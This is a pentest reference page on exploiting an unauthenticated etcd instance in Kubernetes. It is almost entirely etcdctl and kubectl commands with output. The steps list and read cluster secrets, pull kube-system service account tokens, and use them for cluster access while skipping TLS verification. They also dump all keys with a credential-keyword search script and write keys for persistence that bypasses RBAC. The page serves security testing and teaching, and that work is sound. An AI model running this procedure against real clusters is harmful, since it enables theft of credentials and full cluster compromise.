Skip to content
HackIndex.io

etcd Unauthenticated Access

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

An unauthenticated etcd instance exposes all stored key-value pairs, including Kubernetes secrets, TLS certificates, and service account tokens. In a Kubernetes environment, extracting these secrets typically leads to full cluster compromise. Confirm access is open through etcd enumeration first.

Extracting Kubernetes Secrets

Kubernetes stores secrets in etcd under /registry/secrets/. Values are base64-encoded (or encrypted if encryption-at-rest is configured).

┌──(kali㉿kali)-[~]
└─$ etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/ --prefix --keys-only 
/registry/secrets/default/db-credentials
/registry/secrets/default/tls-cert
/registry/secrets/kube-system/admin-token-x4b2z
/registry/secrets/kube-system/kube-proxy
/registry/secrets/monitoring/grafana-admin
┌──(kali㉿kali)-[~]
└─$ etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/default/db-credentials

The output is a Kubernetes Secret protobuf. Credential values are base64-encoded. Binary data will be mixed with readable strings containing the secret name, namespace, and type.

To extract readable values from the protobuf output, pipe through strings or decode with a protobuf parser.

┌──(kali㉿kali)-[~]
└─$ etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/default/db-credentials | strings

Service Account Token Extraction

Kubernetes service account tokens stored in etcd grant API access to the cluster. Admin-level tokens allow full cluster control.

┌──(kali㉿kali)-[~]
└─$ etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/kube-system/ --prefix --keys-only | grep token 
/registry/secrets/kube-system/admin-token-x4b2z
/registry/secrets/kube-system/default-token-abc12

Tokens in kube-system namespace often have elevated privileges. Extract the token value and use it with kubectl.

┌──(kali㉿kali)-[~]
└─$ kubectl --server=https://$TARGET_IP:6443 --token='<extracted-token>' --insecure-skip-tls-verify get pods -A
Explain command
--insecure-skip-tls-verify Skip TLS certificate verification for the API server.

Replace <extracted-token> with the JWT token from the secret. If successful, enumerate cluster resources and escalate from there.

Bulk Data Dump

Dump all keys and values from etcd for offline analysis.

┌──(kali㉿kali)-[~]
└─$ etcdctl --endpoints=http://$TARGET_IP:2379 get / --prefix --limit=0 -w json > etcd_dump.json
Explain command
-w json Output in JSON format for parsing.
--limit=0 No limit, dump everything.

Large clusters can have thousands of keys. The JSON dump contains base64-encoded keys and values. Parse with jq to search for specific patterns.

┌──(kali㉿kali)-[~]
└─$ cat etcd_dump.json | python3 -c "
import json, base64, sys
data = json.load(sys.stdin)
for kv in data.get('kvs', []):
key = base64.b64decode(kv['key']).decode('utf-8', errors='ignore')
val = base64.b64decode(kv['value']).decode('utf-8', errors='ignore')
if any(w in val.lower() for w in ['password', 'token', 'secret', 'key']):
print(f'--- {key} ---')
print(val[:500])
print()
"

Searches decoded values for common credential keywords. Adjust the word list based on the target environment.

Writing Keys (Persistence)

With write access, an attacker can modify Kubernetes resources directly in etcd, bypassing RBAC and admission controllers.

┌──(kali㉿kali)-[~]
└─$ etcdctl --endpoints=http://$TARGET_IP:2379 put /test/pentest-proof "access-confirmed" 
OK

Proves write access. Clean up after: etcdctl del /test/pentest-proof

References